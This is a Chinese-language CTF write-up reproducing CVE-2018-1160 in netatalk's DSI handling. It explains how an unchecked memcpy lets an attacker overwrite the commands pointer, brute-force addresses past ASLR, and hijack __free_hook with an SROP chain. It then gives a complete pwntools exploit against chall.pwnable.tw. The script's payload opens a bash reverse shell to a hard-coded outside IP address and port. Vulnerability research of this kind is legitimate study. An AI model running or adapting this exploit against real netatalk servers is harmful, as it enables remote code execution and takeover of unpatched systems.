CVE-2018-1160

题材以及内容来源于pwnable,还算有意思的 然后本次我的测试及复现要特别感谢wetw0rk的思路参考。

由于文章复盘在我实际操作结束后一个月左右,所以我不会讲的太细,其中包括众多技术细节相关截图以及相关图表也没有得到保存

所以在这里我就口述主要思路以及我觉得可能需要做归档的部分了,需要详细了解漏洞细节的可以移步别的文章。

首先,目标是是netatalk的67256322aa5a1fff01de471d6787d1d862678746commit,已确定在这次commit之后已经得到修复,具体涉及版本号没去看,感兴趣的自己去了解,本文只做针对此次commit为基础的复现。

漏洞产生原因简述:

git原文

CVE-2018-1160: libatalk/dsi: add correct bound checking to dsi_opensession
The memcpy

  memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

trusted dsi->commands[i] to specify a size that fits into dsi->attn_quantum. The
sizeof attn_quantum is four bytes. A malicious client can send a dsi->command[i]
larger than 4 bytes to begin overwriting variables in the DSI struct.

dsi->command[i] is a single char in a char array which limits the amount of data
the attacker can overwrite in the DSI struct to 0xff. So for this to be useful
in an attack there needs to be something within the 0xff bytes that follow
attn_quantum. From dsi.h:

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */

The commands pointer is a heap allocated pointer that is reused for every packet
received and sent. Using the memcpy, an attacker can overwrite this to point to
an address of their choice and then all subsequent AFP packets will be written
to that location.

If the attacker chose the preauth_switch buffer, overwriting the function
pointer there with functions pointers of his choice, he can invoke this
functions over the network,

Signed-off-by: Ralph Boehme <slow@samba.org>
(cherry picked from commit b6895be)

所以,这里的触发点在于memcpy,由于DSI协议中用户对dsi结构体的内容控制边界没有得到妥善处理导致这里的memcpy的size args可以被控制

这里有一个思路我很喜欢,是wetw0rk介绍的,在做这种类似开源项目的复现的时候,我们可以通过源码去直接分析,而不用一头埋进IDA(Ghidra),如果只是对于复现来说的话,这可以节省很多时间(除非你想锻炼自己的反编译能力)

所以,在对关键点的commit进行check后(这里我就不说踩的坑了,懒得写)

libatalk/dsi/dsi_opensess.c中的dsi_opensession中有如下:

/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
  size_t i = 0;
  uint32_t servquant;
  uint32_t replcsize;
  int offs;

  if (setnonblock(dsi->socket, 1) < 0) {
      LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
      AFP_PANIC("setnonblock error");
  }

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); // <<<<<<<<<<
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }

  /* let the client know the server quantum. we don't use the
   * max server quantum due to a bug in appleshare client 3.8.6. */
  dsi->header.dsi_flags = DSIFL_REPLY;
  dsi->header.dsi_data.dsi_code = 0;
  /* dsi->header.dsi_command = DSIFUNC_OPEN;*/

  dsi->cmdlen = 2 * (2 + sizeof(uint32_t)); /* length of data. dsi_send uses it. */

  /* DSI Option Server Request Quantum */
  dsi->commands[0] = DSIOPT_SERVQUANT;
  dsi->commands[1] = sizeof(servquant);
  servquant = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN ||
	      dsi->server_quantum > DSI_SERVQUANT_MAX ) ? 
	    DSI_SERVQUANT_DEF : dsi->server_quantum);
  memcpy(dsi->commands + 2, &servquant, sizeof(servquant));

  /* AFP replaycache size option */
  offs = 2 + sizeof(replcsize);
  dsi->commands[offs] = DSIOPT_REPLCSIZE;
  dsi->commands[offs+1] = sizeof(replcsize);
  replcsize = htonl(REPLAYCACHE_SIZE);
  memcpy(dsi->commands + offs + 2, &replcsize, sizeof(replcsize));
  dsi_send(dsi);
}

CodeDSIOPT_ATTNQUANT (0x01) 时候就能触发关键部分代码

找到了我们需要的关键逻辑点,然后根据函数调用关系慢慢反推

但在这之前我们先去看看dsi的定义

dsi.h中有结构体DSI

#define DSI_DATASIZ       65536

typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;          /* in the middle of writing multiple packets,
                                   signal handlers can't write to the socket */
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

#ifdef USE_ZEROCONF
    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
    int zeroconf_registered;
#endif

    /* protocol specific open/close, send/receive
     * send/receive fill in the header and use dsi->commands.
     * write/read just write/read data */
    pid_t  (*proto_open)(struct DSI *);
    void   (*proto_close)(struct DSI *);
} DSI;

看到commands参数uint8_t,也就是说我们最大可以单次写入0xFF(255)字节

关于DSI

DSI

所以,可得知,我们通过前面的OOB可以覆盖掉attn_quantum datasize server_quantum serverID / clientID commands

commands就是我们要利用的部分了,我们可以将 dsi->commands 指针重定向到内存中任何可读写的地址(例如 __free_hook

然后开始分析函数调用链,在libatalk/dsi/dsi_tcp.c下找到了对于网络包head部分的解包代码

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
memcpy(&dsi->header.dsi_requestID, block + 2,
       sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12,
       sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

stored = 0;
while (stored < dsi->cmdlen) {
    len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
    if (len > 0)
        stored += len;
    else {
        LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
        exit(EXITERR_CLNT);
    }
}

然后对程序整体源代码进行分析不难理解,这部分属于DSI Header部分的解析,我们的目标内存区域就是在这里的dsi_stream_read部分,因为这里在后续的通信中并不会对commands的指针进行验证,程序以为他还指向初次创建会话后申请的那片heap中,所以他会在我们的第一次会话中写入的commands的地址进行写入,数据来源于我们相同会话的第二次写入请求,解析Header的时候payload段的数据就会被扔到commands,在这里也就是我们的第一次任意目标地址写入操作。

所以其实已经不难思考了,对于可以实现任意地址写入的操作拿权限并不难,这里有很多切入点,但是要注意ALSR,且目标ELF其实是FULL Protect的,所以我们需要在劫持某一个函数之前先泄漏libc的基地址。

已知,程序的一次运行中,libcbaseaddr不会进行更换,所以其实我们可以利用opensession函数的后续内存请求来验证我们的内存是否可以被访问,来达成我们的第一步,拿到一个真实的地址,所以这里的爆破逻辑很简单,从某位,逐字节爆破就可以了,报错就下一个,正常响应就下一位,我们就可以拿到一个内存地址,这一步很简单

但是这只是一个可以访问的地址,我们并不清楚他在哪个分页,哪个段上,甚至不知道这个内存段是不是可写的,然后这个cve的复现在这里开始出现了不同方法,有的使用多次爆破结果拿到的内存进行统计然后按照分页分割,再去调试vmmap可以取出很小一部分的地址池,其中有一个就是。

这里我用的另一个方法,就是以一个分页为单位去爆破真实的地址,但是其实在行为上我们判断不了是不是真实的基地址

所以我们要把利用逻辑提前规划好

payload的具体实现就不细讲了,大概说的话就是利用free的每次__free_hook调用来进行getshell,那么逻辑就很简单了,我们只需要去找到一片合适的内存,然后再塞一个SROP逻辑进去,就能处理了,具体找合适内存的部分就不说了

这里借用一张图(来源:secreu)

exp

逻辑部分就是这样,通过第一部分的地址爆破,然后去再针对拿到的地址进行分页爆破,假设每一个range中的地址都是一个基地址,然后对其进行偏移量计算并利用,直到有shell的返回,很暴力的一种思路。

地址爆破 -> 任意地址写入(将_free_hook改为第一个gadget地址,然后布置后续的SROP帧) -> 执行流截获(这部分需要手动触发关闭会话dsi_close,然后前面提到过了,commands本身是一块malloc的heap段,所以每个会话结束都会对其进行回收,所以Free -> _free_hook -> Gadget)

POC:

from pwn import *
import logging
context(arch='amd64', os='linux')
context.log_level = "INFO"
logging.getLogger('pwnlib.tubes.remote').setLevel(logging.ERROR)
#libc = ELF('/home/Ty/temp/libc.so.6')
libc = ELF('/home/Ty/binarys/pwnable/CVE-2018-1160/target/libc-b.so')
addr = b''
RHOST = 'chall.pwnable.tw'
RPORT = 10002
def data_print(data):
    data = [f'{b:02x}' for b in data]
    print("-------------------------------------------")
    print(f"Flags:\t\t[0x{data[0]}]")
    print(f"Command:\t[0x{data[1]}]")
    print(f"RequestID:\t[0x{''.join(data[2:4])}]")
    print(f"Offset:\t\t[0x{''.join(data[4:8])}]")
    print(f"DataLength:\t[0x{''.join(data[8:12])}]")
    print(f"Reserved:\t[0x{''.join(data[12:16])}]")
    print(f"DATA:\t\t[0x{''.join(data[16:])}]")
    print("-------------------------------------------")

def creat_DATA(d_commands):
    DSINPT_ATTNQUANT = p8(0x01)
    attn_quantum = p32(0x00000000)
    datasize = p32(0x00000000)
    server_quantum = p32(0xffffffff)
    serverID = p16(0x0000)
    clinetID = p16(0x0000)
    commands = p64(d_commands)
    SIZE = p8(len(attn_quantum+datasize+server_quantum+serverID+clinetID+commands))

    return DSINPT_ATTNQUANT+SIZE+attn_quantum+datasize+server_quantum+serverID+clinetID+commands

def creat_HEADER(qID,h_command,DATA):
    length = p32(len(DATA),endian='big')
    flags    = p8(0x00)
    command  = p8(h_command)
    req_id   = p16(qID,endian='big')
    offset   = p32(0x00000000)
    reserved = p32(0x00000000)
    return flags+command+req_id+offset+length+reserved

def creat_DSI(qID,h_command,d_commands):
    DATA = creat_DATA(d_commands)
    HEADER = creat_HEADER(qID,h_command,DATA)
    return HEADER+DATA

def write_data(tg,address,contexts):
    payload = creat_DSI(0,4,address)
    tg.send(payload)

    # com = log.progress("commands")
    # info(f"Address >>>>> {address}")
    # info(f"Payload >>>>> {payload}")
    # data_print(payload)

    try:
        tg.recv(timeout=1)

        # data_print(tg.recv())   
        # com.success(f"<- {hex(address)}")
        # p = log.progress(f"{hex(address)}")

        #contexts = p64(contexts,endianness="big")
        payload = creat_HEADER(1,2,contexts)+contexts

        # info(f"Contexts >>>>> {contexts}")
        # info(f"Payload >>>>> {payload}")
        # data_print(payload)

        tg.send(payload)
        try:
            tg.recv(timeout=1)

            # data_print(tg.recv())
            # p.success(f"<- [{len(contexts)} BytesDATA]")
            payload = creat_HEADER(2,1,b'')
            tg.send(payload)
            return 2
        except:
            #p.failure(f"!  [{len(contexts)} BytesDATA]")
            return 0
    except:
        #com.failure(f" !  [{hex(address)}]")
        return 0

def Fuzzing_addr(fuzz,count):
    global addr
    #print(f"Call Fuzzing_addr arg1[{fuzz} | arg2[{count}]")
#=======================DATA==========================
    DSINPT_ATTNQUANT = p8(0x01)
    attn_quantum = p32(0x00000000)
    datasize = p32(0x00000000)
    server_quantum = p32(0xdeadbeef)
    serverID = p16(0x0000)
    clinetID = p16(0x0000)

    commands = p8(fuzz) + addr
    SIZE = p8(16 + count)
    if addr == b'':
        commands = p8(fuzz)
    else:
        commands = addr+p8(fuzz)
    DATA = DSINPT_ATTNQUANT+SIZE+attn_quantum+datasize+server_quantum+serverID+clinetID+commands
#=======================HEADER========================
    opensession = 0x04
    flags    = p8(0x00)
    command  = p8(opensession)
    req_id   = p16(0x0000)
    offset   = p32(0x00000000)
    reserved = p32(0x00000000)

    length   = p32(len(DATA),endian='big')
    return flags+command+req_id+offset+length+reserved+DATA

def fuzzing():
    global addr
    Buffer = log.progress("Buffer-> ")
    Count = log.progress("Count ")
    for i in range(1,7):
        Count.status(f"{i}/6")
        j = 0
        l = log.progress("Fuzzing")
        for j in range(0xff, -1, -1):
            l.status(f"Trying {hex(j)}")
            tg = remote(RHOST,RPORT)
            #print(f"beforce CALL arg1[{j}] | arg2[{i}]")
            payload = Fuzzing_addr(j,i)
            tg.send(payload)
            try:
                recvdata = (tg.recv())
                l.success(f"Correct bytes -> {hex(j)}")
                addr = addr + p8(j)
                Buffer.status(f"0x{addr[::-1].hex()}")
                break
                
            except:
                l.status(f"{j}")
                if j == 0x00:
                    print("\tSendingDATA:")
                    data_print(payload)
                    print(payload)
                    exit(0)
            #print(f"i->{i} | j->{j}")
            tg.close
    Buffer.success(f"0x{addr[::-1].hex()}")
    Count.success("6/6")
    leaked_addr = int('0x'+addr[::-1].hex(),16)
    success(f"LeakAddress -> [{hex(leaked_addr)}]")
    addr = b''
    return leaked_addr

leaked_addr = fuzzing() - 0xfff
#leaked_addr = 0x7f6669791000
info(f"Leaking Libc...")

shell = log.progress("Base ->")
for i in range (0, 0xffff000, 0x1000):
    libc_base = leaked_addr - i
    #libc_base = 0x7f6669791000
    free_hook = libc_base + libc.symbols['__free_hook']
    dl_open_hook = libc_base + libc.symbols['_dl_open_hook']
    system = libc_base + libc.symbols['system']
    # setcontext_53 = libc_base + 0x520A5
    # libc_dlopen_mode_56 = libc_base + 0x166488
    # mov_rdi_rax_call_rax_8 = libc_base + 0x86315

    setcontext_53 = libc_base + 0x520A5
    libc_dlopen_mode_56 = libc_base + 0x166488
    mov_rdi_rax_call_rax_8 = libc_base + 0x86315

    #info(hex(system))

    cmd = b'bash -c "bash -i >& /dev/tcp/154.40.47.81/4444 0>&1"\x00'

    sig = SigreturnFrame()
    sig.rdi = free_hook + 0x8
    sig.rsp = free_hook
    sig.rip = system

    payload = b''.ljust(0x10,b'\x00')
    payload += p64(libc_dlopen_mode_56)
    payload += cmd.ljust(0x2bc0-0x8,b'\x00')
    payload += p64(dl_open_hook + 0x8)
    payload += p64(mov_rdi_rax_call_rax_8)
    payload += p64(setcontext_53)
    payload += bytes(sig)[0x10:]
    tg = remote(RHOST,RPORT)
    shell.status(f'{i / 0x1000} / {0xffff000 / 0x1000} -> {hex(libc_base)}')
    write_data(tg,free_hook - 0x10,payload)
    tg.close()

然后没了(其实应该当时复现完就写的,但是我没有写笔记的习惯,尤其是这种逻辑性其实不是很强的,我会认为没有必要,如果我哪天心血来潮了想着补充一下内容的话,哈哈哈哈哈,再说吧)